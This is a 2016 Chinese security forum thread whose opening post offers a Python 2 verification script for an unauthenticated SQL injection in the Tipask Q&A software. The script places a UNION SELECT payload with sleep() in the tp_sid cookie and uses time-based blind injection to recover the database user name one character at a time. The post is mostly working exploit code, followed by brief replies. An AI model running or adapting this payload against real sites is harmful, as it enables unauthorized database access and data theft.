请选择 进入手机版 | 继续访问电脑版

SSS安全论坛

 找回密码
 立即注册

QQ登录

只需一步,快速开始

产品
产品
团队
团队
版规
版规
查看: 1426|回复: 4

tipask前台无条件sql注入(验证脚本)

[复制链接]
  • TA的每日心情
    郁闷
    8 小时前
  • 签到天数: 197 天

    [LV.7]常住居民III

    发表于 2016-6-1 22:09:50 | 显示全部楼层 |阅读模式
    漏洞来源:http://www.wooyun.org/bugs/wooyun-2010-0136776
    存在注入的参数在cookie中 QQ图片123.png
    [Python] 纯文本查看 复制代码
    import urllib2
    
    
    
    import time
    
    
    
    
    
    payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'
    
    
    
    name = ""
    
    
    
    
    for i in range(1,21):
    
    
    
        for p in payloads:
    
    
    
            s1 = "%s" %(i)
    
    
    
            s2 = "%s" %(ord(p))
    
    
    
            s = "http://192.168.1.100/tipask/"
    
            start_time = time.time()
    
    
    
            try:
                opener = urllib2.build_opener()
    
    
    
                opener.addheaders.append(('Cookie', "tp_lastrefresh=0; tp_sid=40c3e295006a9634' UNION SELECT null,null,null,null,null,if(ORD(mid((select user()),"+s1+",1))="+s2+",sleep(3),0)#; "))
    
    
                req = urllib2.Request(s)
                            
                req_data=opener.open(req,timeout=150)
    
                if time.time() - start_time > 3.0:
    
                    name = name+p
    
                    print name+'.....'
    
    
    
            except urllib2.URLError,e:
    
                 break
    
    print 'user is %s'  % name
    


    评分

    参与人数 1下载币 +4 好评 +2 荣誉 +2 收起 理由
    95zz + 4 + 2 + 2 感谢分享啊,这些脚本留着有用,以后开发个.

    查看全部评分

    回复

    使用道具 举报

  • TA的每日心情
    奋斗
    2016-7-14 17:48
  • 签到天数: 7 天

    [LV.3]偶尔看看II

    发表于 2016-6-2 15:31:00 | 显示全部楼层
    楼主以后把SSS安全论坛的地址写在源代码吧。或者印个SSS,哈哈
    你根本不是老司机,你只是个卖票的傻逼
  • TA的每日心情
    擦汗
    9 小时前
  • 签到天数: 293 天

    [LV.8]以坛为家I

    发表于 2016-6-2 19:05:19 | 显示全部楼层
    表示完全看不懂楼上在说什么  95表哥在干嘛啊
  • TA的每日心情
    难过
    2017-1-9 18:19
  • 签到天数: 37 天

    [LV.5]常住居民I

    发表于 2016-6-9 21:39:33 | 显示全部楼层
    95zz 发表于 2016-6-2 15:31
    楼主以后把SSS安全论坛的地址写在源代码吧。或者印个SSS,哈哈
    你根本不是老司机,你只是个卖票的傻逼

    95zz    是宣传高手   23333
  • TA的每日心情
    奋斗
    2016-10-10 09:02
  • 签到天数: 44 天

    [LV.5]常住居民I

    发表于 2016-7-31 08:40:20 | 显示全部楼层
    学习一下
    回复

    使用道具 举报

    您需要登录后才可以回帖 登录 | 立即注册

    本版积分规则

    关闭

    站长推荐上一条 /1 下一条

    关注微信赢邀请码

    QQ|Archiver|手机版|网站地图|网页地图|SSS安全论坛 ( 黔ICP备15010987号  

    GMT+8, 2017-1-18 21:59 , Processed in 0.185387 second(s), 37 queries .

    Powered by SSS团队 X3.2

    © 2014-2015 Comsenz Inc.

    快速回复 返回顶部 返回列表